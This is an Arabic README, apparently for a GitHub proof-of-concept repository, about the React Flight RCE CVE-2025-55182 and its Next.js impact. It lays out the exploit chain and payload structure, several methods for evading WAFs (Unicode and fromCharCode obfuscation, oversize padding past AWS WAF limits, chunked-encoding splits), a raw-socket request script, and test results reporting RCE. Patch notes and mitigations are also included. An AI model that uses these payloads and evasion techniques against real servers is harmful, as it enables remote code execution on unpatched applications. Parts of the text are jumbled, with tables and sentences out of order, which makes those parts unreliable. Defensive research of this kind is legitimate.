
CVE-2025-55182 POC
NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182 هي ثغرة RCE حرجة في بروتوكول Flight الخاص بـ React. سلسلة الهجوم تجمع بين اجتياز المسار + حقن كتلة مزيفة + إساءة استخدام معالج $B لتنفيذ Function(attacker_code).
شكر كبير لـ maple3142 على سلسلة الاستغلال العاملة!
يستخدم الاستغلال ثلاثة حقول نموذج لبناء حمولة ضارة:
then مرجع ذاتي (الحقل 1 $@0 → الحقل 0)_response مزيفًا حيث يكون _formData.get مضبوطًا على $1:constructor:constructor$B الذي يستدعي response._formData.get(response._prefix + id)_formData.get → Function، لينفذ Function(code)┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### Key Components
| Component | الغرض |
|-----------|---------|
| `then: "$1:__proto__:then"` | ثمينة ذاتية الإشارة؛ القطعة 1 (`$@0`) تشير إلى القطعة 0 |
| `status: "resolved_model"` | يجعل الكائن يبدو كقطعة React صالحة |
| `reason: -1` | يضبط rootReference على undefined (يتجنب تعارضات المرجع) |
| `value: '{"then":"$B1337"}'` | حمولة متداخلة تؤدي إلى تشغيل معالج `$B` |
| `_response._prefix` | يحتوي على نص كود RCE |
| `_response._chunks: "$Q2"` | خريطة فارغة لمنع الأعطال أثناء معالجة القطعة |
| `_response._formData.get` | يشير إلى `Function` عبر `$1:constructor:constructor` |
### Component Deep Dive
#### بنية حقل النموذج
يستخدم الاستغلال ثلاثة حقول نموذج بمراجع دائرية:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)إن then: "$1:__proto__:then" ينشئ مرجعًا ذاتيًا يتحول إلى دالة حقيقية:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**لماذا هذا بالغ الأهمية:**
1. تشير `then` إلى `Chunk.prototype.then` - وهي دالة قابلة للاستدعاء حقيقية
2. وهذا يجعل الكائن المزيف thenable صالحًا
3. عندما يتم الانتظار، تستدعي JS `obj.then(resolve, reject)`
4. يتم تنفيذ `Chunk.prototype.then` مع الكائن المزيف كـ `this`:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this) يستخدم this._response - الـ _response المزيف للمهاجم:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**بدون المرجع الذاتي**، لن يتم استخدام `_response` المزيف أبدًا. المرجع الذاتي يجعل `Chunk.prototype.then` يعالج كائن المهاجم كـ Chunk حقيقي.
#### مشغل Thenable ذو مرحلتين (`value`)
حقل `value` يحتوي على سلسلة JSON متداخلة مع thenable آخر:```json
{"then":"$B1337"}
المرحلة 1: then المرجعي للكائن الخارجي يؤدي إلى معالجة القطعة
المرحلة 2: عندما يحل React النموذج، فإنه يوزع value ويصادف thenable آخر مع then: "$B1337". البادئة $B تؤدي إلى معالج:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get` هو `"$1:constructor:constructor"` → `getOutlinedModel()` يتحول إلى `Function`.
يصبح هذا: `Function(code + "1337")` → كود JS صحيح لأن `1337` مجرد تعبير زائد.
#### الحشو الدفاعي (`_chunks`)
الاستجابة المزيفة `_response` تحتاج إلى خاصية `_chunks` صالحة لمنع الانهيار:```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
قد يصل الكود الداخلي لـ React إلى response._chunks.get() أو response._chunks.has() أثناء المعالجة. الـ Map الفارغ يلبي هذه الاستدعاءات دون أخطاء، مما يسمح للتنفيذ بالوصول إلى المعالج الضعيف $B.
decodeReply() هي نقطة الدخول، وهي ليست ضعيفة بذاتها.
اجتياز المسار (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**استخدام الاستجابة المزيفة** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B Handler RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## الإصلاح (19.2.1)
يتضمن التصحيح عدة إصلاحات:
1. **`RESPONSE_SYMBOL` في `initializeModelChunk()`** - إصلاح حاسم ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty check in getOutlinedModel() - يمنع اجتياز النموذج الأولي ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ التعامل مع في reviveModel() - يمنع تلوث النموذج الأولي ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk() - التحقق من صحة المستمعين ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| القدرة | الحالة | ملاحظات |
|---|---|---|
| اجتياز سلسلة النموذج الأولي | ✓ مؤكد |
يشرح هذا القسم سبب عدم قدرة قواعد WAF التقليدية القائمة على مطابقة الأنماط على كشف هذا الاستغلال بشكل موثوق. فهم هذه القيود ضروري لفرق الأمن عند تقييم وضعهم الدفاعي.
يمر حمولة الاستغلال عبر محللات متعددة، كل منها يدعم ترميزًا مختلفًا. WAF الذي يفحص وحدات HTTP الخام يرى سلاسل مشفرة، لكن الخادم يفك تشفيرها قبل المعالجة:
| الطبقة | المحلل | يفك تشفير |
|---|
يخلق هذا تباينًا جوهريًا: يرى WAF البايتات المشفرة، لكن التطبيق يرى السلاسل المفكوكة.
قد يبحث WAF ساذج عن أنماط مثل constructor، __proto__، resolved_model، أو child_process. ومع ذلك، يسمح JSON بهروب Unicode لأي حرف:
كود JavaScript داخل الحمولة لديه خيارات ترميز أكثر:
| النمط | خيارات الترميز |
|---|
عند دمج جميع تقنيات الترميز:
\u0074\u0068\u0065\u006e بدلاً من then)S(99,104,105,108,100,95,...) بدلاً من child_process)يرى WAF الذي يفحص جسم HTTP فقط تسلسلات هروب وأرقام - لا شيء يطابق توقيعات الهجوم التقليدية.
يحدد رأس Next-Action طلبات إجراءات الخادم. بينما لا يمكن ترميز أسماء الرؤوس بـUnicode (RFC 7230 يتطلب رموز ASCII)، فإن اختلافات التطبيع بين WAF والخادم تُحدث فجوات في الكشف:
التصحيح هو التخفيف الوحيد الموثوق. لا تستطيع قواعد WAF منع هذا الهجوم بشكل شامل بسبب مرونة الترميز.
الإصدارات المطلوبة:
إذا تأخر التصحيح، فكر في:
\uXXXX و \xXX وتطبيع استدعاءات fromCharCode() قبل مطابقة الأنماط_response أو _prefix أو _chunks أو مراجع دائرية ($@0)next-action دون حساسية لحالة الأحرف مع قص المسافات البيضاءNext-Action بالكاملFunction() مع وسائط سلسلة ديناميكيةالخلاصة الرئيسية: ستفشل مطابقة الأنماط وحدها ضد هذا النوع من الهجمات. سطح الترميز كبير جدًا بحيث لا يمكن حصره.
حتى مع قواعد WAF الشاملة، فإن AWS WAF لديها حدود لحجم فحص الجسم يمكن استغلالها. يوثق هذا القسم تقنيات تجاوز تم اختبارها باستخدام حمولات ضخمة.
يفحص AWS WAF جزءًا فقط من جسم الطلب:
| الواجهة الخلفية | الحد الافتراضي | الحد الأقصى القابل للتكوين |
|---|---|---|
| ALB / AppSync | 8 كيلوبايت | 8 كيلوبايت |
| CloudFront / API Gateway | 16 كيلوبايت | 64 كيلوبايت |
| Amazon Cognito / App Runner | 16 كيلوبايت | 64 كيلوبايت |
OversizeHandlingتحدد قواعد WAF كيفية التعامل مع الطلبات التي تتجاوز حدود الفحص:
إذا كانت قاعدة WAF الخاصة بك تستخدم OversizeHandling: CONTINUE (الإعداد الافتراضي الشائع)، فإن التجاوز تافه.
ضع بيانات حشو غير ضارة قبل حمولة الاستغلال بحيث تقع خارج نافذة الفحص:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### نتائج الاختبار
جميع الحمولات كبيرة الحجم حققت بنجاح تنفيذ تعليمات عن بُعد (RCE) على Next.js:
| حجم الحشو | إجمالي الجسم | إزاحة الاستغلال | النتيجة |
|--------------|------------|----------------|--------|
| 0 ك.ب | 0.6 ك.ب | 0.4 ك.ب | ✅ RCE |
| 8 ك.ب | 8.6 ك.ب | 8.4 ك.ب | ✅ RCE |
| 16 ك.ب | 16.6 ك.ب | 16.5 ك.ب | ✅ RCE |
| 32 ك.ب | 32.6 ك.ب | 32.5 ك.ب | ✅ RCE |
| 64 ك.ب | 64.6 ك.ب | 64.5 ك.ب | ✅ RCE |
| 128 ك.ب | 128.6 ك.ب | 128.5 ك.ب | ✅ RCE |
### تجاوز ترميز النقل المجزأ
يقوم ترميز النقل المجزأ في HTTP/1.1 بتقسيم الجسم إلى أجزاء منفصلة. إذا فحص جدار حماية تطبيقات الويب (WAF) الأجزاء **قبل** إعادة التجميع، فلن تتطابق الأنماط الممتدة عبر حدود الأجزاء.
#### كيف يعمل```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
نمط مقسم عبر الأجزاء:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### استراتيجيات التقسيم المختبرة
| الاستراتيجية | الوصف | النتيجة |
|----------|-------------|--------|
| تقسيم عند `$@` | `"$` \| `@0"` | ✅ RCE |
| شظايا بحجم 10 بايت | يتم تقسيم الجسم كل 10 بايت | ✅ RCE |
| شظايا بحجم 5 بايت | يتم تقسيم الجسم كل 5 بايت | ✅ RCE |
| تقسيم عند `status` | `sta` \| `tus` | ✅ RCE |
جميع الاستراتيجيات حققت RCE بنجاح - يقوم Next.js بإعادة تجميع الطلبات المجزأة بشكل صحيح.
#### مثال على Raw Socket```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
ملاحظة: عادةً ما يعيد AWS WAF تجميع الأجسام المجزأة قبل الفحص. ومع ذلك، ينبغي التحقق من ذلك حسب كل بيئة نظرًا لاختلاف التكوينات.
OversizeHandling إلى MATCH ```json
"OversizeHandling": "MATCH"
هذا يمنع أي طلب يتجاوز حد الفحص عند استيفاء شروط القاعدة.
زيادة حد فحص الجسم (CloudFront/API Gateway فقط) قم بتهيئة ما يصل إلى 64 كيلوبايت في إعدادات قائمة الويب ACL، لكن هذا لا يمنع التحايل بشكل كامل.
إضافة قاعدة حظر تعتمد على الحجم
قم بحظر طلبات POST التي تحتوي على رأس Next-Action يتجاوز حجمًا معقولًا (مثل 10 كيلوبايت).
تصحيح التطبيق - الحل الوحيد الكامل.
راجع نصوص الاختبار المضمنة:
test-simple.cjs - اختبار أساسي للحمولة غير المجزأةtest-oversize.cjs - اختبار أحجام الحشو من 0-128 كيلوبايتtest-chunked-v2.cjs - ترميز النقل المجزأ مع تقسيم $@test-chunked-bypass.cjs - استراتيجيات تجزئة متعددة (5 بايت، 10 بايت، تقسيمات الأنماط)الاستخدام:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
---
## رحلة البحث
### الثغرة: اجتياز المسار```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
With payload "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]بينما حصلنا على Function، فإن تحقيق RCE يتطلب استدعاءها مع وسائط مُتحكم بها. هذه المسارات فشلت:
1. مسار Thenable (محظور)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. decodeAction Path (محظور)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. مسار المكرر (محظور)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### الاختراق
وجد maple3142 القطعة المفقودة: معالج `$B` + سلسلة `_response` المزيفة. من خلال جعل `then` يحل إلى `Chunk.prototype.then` عبر المرجع الذاتي، يتم استخدام `_response` المزيفة، مما يتيح تنفيذ الأوامر عن بُعد (RCE).
---
## النتائج الرئيسية
1. **ثغرة `getOutlinedModel()` حقيقية** - المسارات المفصولة بنقطتين تسمح بعبور سلسلة النموذج الأولي (prototype chain)
2. **منشئ الدالة (Function constructor) قابل للوصول** - يعمل `$1:constructor:constructor` بدون serverManifest
3. **يمكن تحقيق RCE** - من خلال صياغة قطعة (chunk) مزيفة مع `_response` مُتحكّم فيه:
- المرجع الذاتي `$1:__proto__:then` → `Chunk.prototype.then` يجعل `_response` المزيفة تُستخدم
- هيكل القطعة المزيفة يحاكي فئة Chunk الداخلية لـ React
- `_response._formData.get` → منشئ `Function`
- `_response._prefix` → سلسلة تعليمات برمجية خبيثة
- معالج `$B` يُطلق `Function(الكود_الخبيث)`
4. **الإصلاح شامل** - فحوصات متعددة لـ `hasOwnProperty` وعمليات تحقق من الأنواع
---
## المراجع
- [maple3142's Gist](https://gist.github.com/maple3142) - اكتشاف سلسلة RCE
- [React Security Advisory](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [AWS WAF Rule](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## إخلاء مسؤولية
هذا المستودع مخصص **للبحث الأمني التعليمي والدفاعي فقط**. تم تصحيح الثغرة. يُرجى ترقية تبعياتك فورًا.
| المسار | الوظيفة | الغرض في الاستغلال |
|---|
| اجتياز المسار | getOutlinedModel() | يحل $1:constructor:constructor → Function |
حقن _response مزيف | initializeModelChunk() | يستخدم chunk._response الخاص بالمهاجم |
معالج $B | parseModelString() | يستدعي _formData.get(_prefix + id) → تنفيذ التعليمات البرمجية عن بُعد (RCE) |
عبر $1:constructor:constructor |
| الوصول إلى مُنشئ الدالة | ✓ مؤكد | لا حاجة إلى البيان |
| تنفيذ الأوامر عن بُعد (RCE) | ✓ مؤكد | عبر القطعة الزائفة + معالج $B |
| بنية JSON | JSON.parse() | هروب Unicode \uXXXX |
| كود JavaScript | منشئ Function() | هروب \uXXXX، \xXX، الثماني، fromCharCode() |
| النمط الحرفي | المكافئ في Unicode | كشف WAF |
|---|
constructor | \u0063onstructor | تم تجاوزه |
__proto__ | \u005f\u005fproto\u005f\u005f | تم تجاوزه |
resolved_model | \u0072esolved_model | تم تجاوزه |
$@ (مرجع دائري) | $\u0040 | تم تجاوزه |
process | \u0070rocess، String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process، رموز حرفية رقمية، base64 |
| أي معرف | تدوين القوسين: this[S(112,114,...)] حيث S=String.fromCharCode |
| المتغير | سلوك الخادم | خطر WAF |
|---|
next-action (أحرف صغيرة) | مقبول (HTTP غير حساس لحالة الأحرف) | يُفقد إذا توقع WAF حالة محددة |
Next-Action:\tx (علامة تبويب) | مقبول (تم تطبيع المسافات) | يُفقد إذا توقع WAF فراغًا |
Next-Action: x (مسافات) | مقبول | يُفقد بدون تطبيع |
| الإعداد | السلوك | قابل للاستغلال؟ |
|---|
CONTINUE | فحص البايتات المتاحة، تقييم القاعدة | نعم - الحمولة بعد الحد غير مفحوصة |
MATCH | معاملتها كمطابقة (حظر) | لا - تحظر الطلبات الضخمة |
NO_MATCH | معاملتها كغير مطابقة | نعم - تمر عبر |
| نوع WAF | معالجة الأجزاء | إمكانية الالتفاف؟ |
|---|
| AWS WAF (ALB) | يعيد التجميع قبل الفحص | غير محتمل |
| AWS WAF (CloudFront) | يعيد التجميع قبل الفحص | غير محتمل |
| بعض أنظمة WAF القديمة | يفحص كل جزء على حدة | نعم |
| Nginx ModSecurity | قابل للتكوين | يعتمد على التكوين |